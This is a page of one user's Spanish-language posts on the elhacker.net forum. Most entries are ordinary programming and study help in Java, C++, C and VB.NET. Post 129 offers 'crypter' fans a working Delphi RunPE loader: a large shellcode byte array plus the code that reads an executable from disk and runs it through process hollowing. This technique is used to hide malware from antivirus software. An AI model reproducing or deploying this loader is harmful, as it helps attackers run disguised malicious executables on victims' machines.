elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17 18 19 20 21 22 23 24
121  Sistemas Operativos / GNU/Linux / Re: ¿Se le puede sacar provecho a este ordenador con alguna distro linux? en: 29 Diciembre 2015, 03:17 am
Porque no pruebas con una distribucion ligera como lubuntu tiene todo las ventajas de respositorios de  ubuntu pero un entorno grafico muchas mas ligero y que obviamente necesita menos recursos, pruebalo chance y te convence.
122  Foros Generales / Dudas Generales / Re: ¿En que enfocarme? en: 29 Diciembre 2015, 01:27 am
Bueno si estas en los primeros semestres te puedes bien enfocar en las matematicas como calculo diferencial,integral,vectorial, ecuaciones diferenciales, metodos numericos casi siempre eso es el tronco comun en las ingenierias.

En algunas universidades ves tambien temas como estadistica, contabilidad, principios electricos etc.
algunos no tantos relacionados directamente con la carrera pero que siempre buscan hacerte un profesional en todos los aspectos.

Como digo en los primeros semestres seria bueno enfocarte en la matematica ya que ha muchos les cuesta o  no les gusta.

Tambien depende como este organizado las materias en tu universidad asi que puedes darle una revisada.
123  Seguridad Informática / Hacking / Re: Nebula Curso de "Ethical Hacking" en: 23 Diciembre 2015, 02:21 am
de que consta el curso? tiene alguno costo espero puedas ser mas preciso.
124  Programación / Java / Re: problema con graphics java en: 23 Diciembre 2015, 02:17 am
y eso que tiene ver que uses while el codigo que publique se puede tambien aumentar en otros valores no solo en uno explicate un poco mas detalladamente por favor.
125  Programación / Java / Re: problema con graphics java en: 22 Diciembre 2015, 06:08 am
Hola puedes dar mas informacion de lo que quieres ya que tengo una idea pero a lo mejor no es lo quieres aconsejo ser mas preciso

segundo no revulevas componentes de awt con los de swing aun que en algunos casos funcione no es lo correcto hay otros detalles pero espero seas mas preciso con la explicacion.


Edito:
Bueno me di a la tarea de mostrar un ejemplo muy burdo espero esto se asemeje a lo que buscas si no lo es hazlo saber

en teoria es un circulo que se mueve de un punto a otro ojo la implentacion es muy simple y tendra sus detalles

Espero alguno moderador agrege las etiquetas geshi por que yo no puedo

public class AnimationFrame extends JPanel implements Runnable {

    private int xinicial = 0, yinicial = 0;
    private int xfinal = 0, yfinal = 0;
    private boolean terminar = false;
    private final byte tamanoPelota=30;

    public AnimationFrame(int xinicial, int yinicial, int xfinal, int yfinal) {
        this.xinicial = xinicial;
        this.yinicial = yinicial;
        this.xfinal = xfinal;
        this.yfinal = yfinal;
    }

    public void paint(Graphics g) {
        super.paint(g);
        pintarPunto(g, xinicial, yinicial);
    }

    public void pintarPunto(Graphics g2, int x, int y) {
        g2.setColor(Color.blue);
        g2.fillOval(x, y, tamanoPelota, tamanoPelota);
    }

    @Override
    public void run() {

        while (!terminar) {
            xinicial++;
            yinicial++;
            if (xinicial == xfinal && yinicial == yfinal) {
                break;
            }
            try {
                Thread.sleep(10);
            } catch (InterruptedException ex) {
                ex.printStackTrace();
            }
            repaint();
        }
    }

    public static void main(String[] args) throws InterruptedException {

        JFrame ventana = new JFrame("animacion corriendo");
        ventana.setBounds(0, 0, 500, 500);
       
        //le pasamos las coordenas de donde iniciar y las coordeandas donde terminara
        AnimationFrame animacion = new AnimationFrame(0, 0, 200, 200);
        ventana.add(animacion);
        ventana.setVisible(true);
        ventana.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

        Thread t1 = new Thread(animacion);
        t1.start();
        t1.join();
        System.out.println("Hilo terminado");

    }

}

126  Programación / Programación C/C++ / Re: Pregunta..Comparación de registro en: 3 Diciembre 2015, 04:39 am
En c++ no se pueden comparar dos registros nativamente asi que tienes varias opciones una de ellas es crear una funcion que compare dos registros como acontinuacion

Código
  1. #include <iostream>
  2. using namespace std;
  3.  
  4. typedef struct{
  5.    int entero;
  6.    float decimal;
  7.    string cadena;
  8. } Registro;
  9.  
  10. //la funciona compara dos registros del tipo Registro si son iguales retorna true sino dara false
  11. bool compararRegistros(Registro r1,Registro r2){
  12.  
  13.   return ((r1.cadena==r2.cadena) && (r1.entero==r2.entero) && (r1.decimal==r2.decimal));
  14.  
  15. }
  16.  
  17. int main()
  18. {
  19.   Registro r1;
  20.   r1.cadena="hola mundo";
  21.   r1.entero=34;
  22.   r1.decimal=4.444;
  23.  
  24.   Registro r2;
  25.   r2.cadena="otra cosa";
  26.   r2.entero=3333;
  27.   r2.decimal=222.222;
  28.  
  29.  
  30.   if(compararRegistros(r1,r2)){
  31.     cout<<"son iguales"<<endl;
  32.   }
  33.   else{
  34.     cout<<"No son iguales "<<endl;
  35.   }
  36.  
  37.   //copiamos el contenido de regitros uno al registro dos
  38.   r2=r1;
  39.    //volvemos a comparar
  40.   if(compararRegistros(r1,r2)){
  41.     cout<<"son iguales"<<endl;
  42.   }
  43.   else{
  44.     cout<<"No son iguales "<<endl;
  45.   }
  46.  
  47.    return 0;
  48. }
  49.  

[MOD] Al publicar código usar las etiquetas GeSHi.
127  Programación / Programación C/C++ / Re: Matrices dinámicas en: 4 Noviembre 2015, 04:31 am
Código:
No olvides usar free para liberar la memoria, cuano se  un array de una sola dimension solo basta con

[code=c]free(arreglo)

pero cuando sean arrays de mas de  una dimension hacer
Código
  1. //esto solo es valido para array bidimensionales
  2. for(int i; i<columna;i++) free(arreglo[i]);//liberamos internamente
  3. free(arreglo);
[/code]
128  Programación / .NET (C#, VB.NET, ASP) / Re: Función Split VB.NET en: 4 Noviembre 2015, 04:25 am
Mira este ejemplo use un form y un boton, encuentra la primera palabra haya no espacio anteriormente

Código
  1. Public Class Form1
  2.    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  3.        Dim palabras As String
  4.  
  5.        palabras = "    HOla mundo *****"
  6.  
  7.        For Each palabra As String In palabras.Split(" ")
  8.  
  9.            If Not String.Compare(palabra, " ") Then
  10.                MessageBox.Show(palabra)
  11.                Exit For
  12.            End If
  13.        Next
  14.  
  15.    End Sub
  16. End Class
129  Programación / Programación General / Re: Librería de Snippets para Delphi en: 25 Octubre 2015, 20:28 pm
Para lo  que les gusta el tema de los crypter les traigo un runpe en modo shellcode
y como usarlo

Código
  1. uses
  2.  SysUtils,windows;
  3.  
  4. //shellcode del runPE  uso y parametros: runPE(path:pwidechar; bufferExe:pointer):cardinal;
  5. Const
  6.  Shell: Array [0 .. 1287] Of Byte = ($60, $E8, $4E, $00, $00, $00, $6B, $00, $65, $00, $72, $00, $6E, $00, $65, $00, $6C, $00, $33, $00, $32, $00, $00, $00, $6E, $00, $74, $00, $64, $00, $6C, $00,
  7.    $6C, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
  8.    $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $5B, $8B, $FC, $6A, $42, $E8, $BB, $03, $00, $00, $8B, $54, $24, $28, $89, $11, $8B, $54, $24, $2C, $6A, $3E, $E8, $AA, $03, $00,
  9.    $00, $89, $11, $6A, $4A, $E8, $A1, $03, $00, $00, $89, $39, $6A, $1E, $6A, $3C, $E8, $9D, $03, $00, $00, $6A, $22, $68, $F4, $00, $00, $00, $E8, $91, $03, $00, $00, $6A, $26, $6A, $24, $E8, $88,
  10.    $03, $00, $00, $6A, $2A, $6A, $40, $E8, $7F, $03, $00, $00, $6A, $2E, $6A, $0C, $E8, $76, $03, $00, $00, $6A, $32, $68, $C8, $00, $00, $00, $E8, $6A, $03, $00, $00, $6A, $2A, $E8, $5C, $03, $00,
  11.    $00, $8B, $09, $C7, $01, $44, $00, $00, $00, $6A, $12, $E8, $4D, $03, $00, $00, $68, $5B, $E8, $14, $CF, $51, $E8, $79, $03, $00, $00, $6A, $3E, $E8, $3B, $03, $00, $00, $8B, $D1, $6A, $1E, $E8,
  12.    $32, $03, $00, $00, $6A, $40, $FF, $32, $FF, $31, $FF, $D0, $6A, $12, $E8, $23, $03, $00, $00, $68, $5B, $E8, $14, $CF, $51, $E8, $4F, $03, $00, $00, $6A, $1E, $E8, $11, $03, $00, $00, $8B, $09,
  13.    $8B, $51, $3C, $6A, $3E, $E8, $05, $03, $00, $00, $8B, $39, $03, $FA, $6A, $22, $E8, $FA, $02, $00, $00, $8B, $09, $68, $F8, $00, $00, $00, $57, $51, $FF, $D0, $6A, $00, $E8, $E8, $02, $00, $00,
  14.    $68, $88, $FE, $B3, $16, $51, $E8, $14, $03, $00, $00, $6A, $2E, $E8, $D6, $02, $00, $00, $8B, $39, $6A, $2A, $E8, $CD, $02, $00, $00, $8B, $11, $6A, $42, $E8, $C4, $02, $00, $00, $57, $52, $6A,
  15.    $00, $6A, $00, $6A, $04, $6A, $00, $6A, $00, $6A, $00, $6A, $00, $FF, $31, $FF, $D0, $6A, $12, $E8, $A9, $02, $00, $00, $68, $D0, $37, $10, $F2, $51, $E8, $D5, $02, $00, $00, $6A, $22, $E8, $97,
  16.    $02, $00, $00, $8B, $11, $6A, $2E, $E8, $8E, $02, $00, $00, $8B, $09, $FF, $72, $34, $FF, $31, $FF, $D0, $6A, $00, $E8, $7E, $02, $00, $00, $68, $9C, $95, $1A, $6E, $51, $E8, $AA, $02, $00, $00,
  17.    $6A, $22, $E8, $6C, $02, $00, $00, $8B, $11, $8B, $39, $6A, $2E, $E8, $61, $02, $00, $00, $8B, $09, $6A, $40, $68, $00, $30, $00, $00, $FF, $72, $50, $FF, $77, $34, $FF, $31, $FF, $D0, $6A, $36,
  18.    $E8, $47, $02, $00, $00, $8B, $D1, $6A, $22, $E8, $3E, $02, $00, $00, $8B, $39, $6A, $3E, $E8, $35, $02, $00, $00, $8B, $31, $6A, $22, $E8, $2C, $02, $00, $00, $8B, $01, $6A, $2E, $E8, $23, $02,
  19.    $00, $00, $8B, $09, $52, $FF, $77, $54, $56, $FF, $70, $34, $FF, $31, $6A, $00, $E8, $10, $02, $00, $00, $68, $A1, $6A, $3D, $D8, $51, $E8, $3C, $02, $00, $00, $83, $C4, $0C, $FF, $D0, $6A, $12,
  20.    $E8, $F9, $01, $00, $00, $68, $5B, $E8, $14, $CF, $51, $E8, $25, $02, $00, $00, $6A, $22, $E8, $E7, $01, $00, $00, $8B, $11, $83, $C2, $06, $6A, $3A, $E8, $DB, $01, $00, $00, $6A, $02, $52, $51,
  21.    $FF, $D0, $6A, $36, $E8, $CE, $01, $00, $00, $C7, $01, $00, $00, $00, $00, $B8, $28, $00, $00, $00, $6A, $36, $E8, $BC, $01, $00, $00, $F7, $21, $6A, $1E, $E8, $B3, $01, $00, $00, $8B, $11, $8B,
  22.    $52, $3C, $81, $C2, $F8, $00, $00, $00, $03, $D0, $6A, $3E, $E8, $9F, $01, $00, $00, $03, $11, $6A, $26, $E8, $96, $01, $00, $00, $6A, $28, $52, $FF, $31, $6A, $12, $E8, $8A, $01, $00, $00, $68,
  23.    $5B, $E8, $14, $CF, $51, $E8, $B6, $01, $00, $00, $83, $C4, $0C, $FF, $D0, $6A, $26, $E8, $73, $01, $00, $00, $8B, $39, $8B, $09, $8B, $71, $14, $6A, $3E, $E8, $65, $01, $00, $00, $03, $31, $6A,
  24.    $26, $E8, $5C, $01, $00, $00, $8B, $09, $8B, $51, $0C, $6A, $22, $E8, $50, $01, $00, $00, $8B, $09, $03, $51, $34, $6A, $46, $E8, $44, $01, $00, $00, $8B, $C1, $6A, $2E, $E8, $3B, $01, $00, $00,
  25.    $8B, $09, $50, $FF, $77, $10, $56, $52, $FF, $31, $6A, $00, $E8, $2A, $01, $00, $00, $68, $A1, $6A, $3D, $D8, $51, $E8, $56, $01, $00, $00, $83, $C4, $0C, $FF, $D0, $6A, $36, $E8, $13, $01, $00,
  26.    $00, $8B, $11, $83, $C2, $01, $89, $11, $6A, $3A, $E8, $05, $01, $00, $00, $8B, $09, $3B, $CA, $0F, $85, $33, $FF, $FF, $FF, $6A, $32, $E8, $F4, $00, $00, $00, $8B, $09, $C7, $01, $07, $00, $01,
  27.    $00, $6A, $00, $E8, $E5, $00, $00, $00, $68, $D2, $C7, $A7, $68, $51, $E8, $11, $01, $00, $00, $6A, $32, $E8, $D3, $00, $00, $00, $8B, $11, $6A, $2E, $E8, $CA, $00, $00, $00, $8B, $09, $52, $FF,
  28.    $71, $04, $FF, $D0, $6A, $22, $E8, $BB, $00, $00, $00, $8B, $39, $83, $C7, $34, $6A, $32, $E8, $AF, $00, $00, $00, $8B, $31, $8B, $B6, $A4, $00, $00, $00, $83, $C6, $08, $6A, $2E, $E8, $9D, $00,
  29.    $00, $00, $8B, $11, $6A, $46, $E8, $94, $00, $00, $00, $51, $6A, $04, $57, $56, $FF, $32, $6A, $00, $E8, $86, $00, $00, $00, $68, $A1, $6A, $3D, $D8, $51, $E8, $B2, $00, $00, $00, $83, $C4, $0C,
  30.    $FF, $D0, $6A, $22, $E8, $6F, $00, $00, $00, $8B, $09, $8B, $51, $28, $03, $51, $34, $6A, $32, $E8, $60, $00, $00, $00, $8B, $09, $81, $C1, $B0, $00, $00, $00, $89, $11, $6A, $00, $E8, $4F, $00,
  31.    $00, $00, $68, $D3, $C7, $A7, $E8, $51, $E8, $7B, $00, $00, $00, $6A, $32, $E8, $3D, $00, $00, $00, $8B, $D1, $6A, $2E, $E8, $34, $00, $00, $00, $8B, $09, $FF, $32, $FF, $71, $04, $FF, $D0, $6A,
  32.    $00, $E8, $24, $00, $00, $00, $68, $88, $3F, $4A, $9E, $51, $E8, $50, $00, $00, $00, $6A, $2E, $E8, $12, $00, $00, $00, $8B, $09, $FF, $71, $04, $FF, $D0, $6A, $4A, $E8, $04, $00, $00, $00, $8B,
  33.    $21, $61, $C3, $8B, $CB, $03, $4C, $24, $04, $C3, $6A, $00, $E8, $F2, $FF, $FF, $FF, $68, $54, $CA, $AF, $91, $51, $E8, $1E, $00, $00, $00, $6A, $40, $68, $00, $10, $00, $00, $FF, $74, $24, $18,
  34.    $6A, $00, $FF, $D0, $FF, $74, $24, $14, $E8, $CF, $FF, $FF, $FF, $89, $01, $83, $C4, $10, $C3, $E8, $22, $00, $00, $00, $68, $A4, $4E, $0E, $EC, $50, $E8, $4B, $00, $00, $00, $83, $C4, $08, $FF,
  35.    $74, $24, $04, $FF, $D0, $FF, $74, $24, $08, $50, $E8, $38, $00, $00, $00, $83, $C4, $08, $C3, $55, $52, $51, $53, $56, $57, $33, $C0, $64, $8B, $70, $30, $8B, $76, $0C, $8B, $76, $1C, $8B, $6E,
  36.    $08, $8B, $7E, $20, $8B, $36, $38, $47, $18, $75, $F3, $80, $3F, $6B, $74, $07, $80, $3F, $4B, $74, $02, $EB, $E7, $8B, $C5, $5F, $5E, $5B, $59, $5A, $5D, $C3, $55, $52, $51, $53, $56, $57, $8B,
  37.    $6C, $24, $1C, $85, $ED, $74, $43, $8B, $45, $3C, $8B, $54, $28, $78, $03, $D5, $8B, $4A, $18, $8B, $5A, $20, $03, $DD, $E3, $30, $49, $8B, $34, $8B, $03, $F5, $33, $FF, $33, $C0, $FC, $AC, $84,
  38.    $C0, $74, $07, $C1, $CF, $0D, $03, $F8, $EB, $F4, $3B, $7C, $24, $20, $75, $E1, $8B, $5A, $24, $03, $DD, $66, $8B, $0C, $4B, $8B, $5A, $1C, $03, $DD, $8B, $04, $8B, $03, $C5, $5F, $5E, $5B, $59,
  39.    $5A, $5D, $C3, $C3, $00, $00, $00, $00);
  40.  
  41.  
  42. //Funcion para leer un archivo binario y guardarlo dentro de una cadena
  43. Function mFileToStr(Ruta: string): string;
  44. var
  45. sFile: HFile;
  46. uBytes: Cardinal;
  47. begin
  48. sFile:= _lopen(PChar(Ruta), OF_READ);
  49. uBytes:= GetFileSize(sFile, nil);
  50. SetLength(Result, uBytes);
  51. _lread(sfile, @result[1], uBytes);
  52. _lclose(sFile);
  53. end;
  54.  
  55. var
  56. buffer:string;
  57. szFilePath:array[1..1024]of widechar;
  58.  
  59. begin
  60.  buffer:=mFileToStr('C:\bcb6kg.EXE'); //Leemos el fichero que queremos usar
  61.  GetModuleFileNameW(0,@szFilePath[1],1024); //GetModuleFileNameW equivalente al paramstr(0) pero unicode
  62.  writeln(pwidechar(widestring(szFilePath))); //mostramos la direccion actual del proyecto principal
  63.  
  64.  //el problema de llamado consistia en que el path tenia que ser unicode y yo lo manejaba como si fuera ascii
  65.  CallWindowProcW(@shell[0],hwnd(@szFilePath[1]),cardinal(@buffer[1]),0,0);//ejecutamos el shellcode
  66.  readln;
  67. end.
130  Programación / Ingeniería Inversa / Re: Inyeccion de DLL para obtener acceder a parametros de una funcion en: 25 Octubre 2015, 20:17 pm
Si no sabes el nombre y parametros de las funciones  de la dll sera muy complicado hacer lo que estas pensando me imagino que es una dll hecha en c++

Hay programas que permiten obtener el nombre de la funcion pero no asi sus parametros asi lo que te queda es revisar si hay documentacicon oficial sobre las funciones de la dll.

Saludos....
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17 18 19 20 21 22 23 24
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines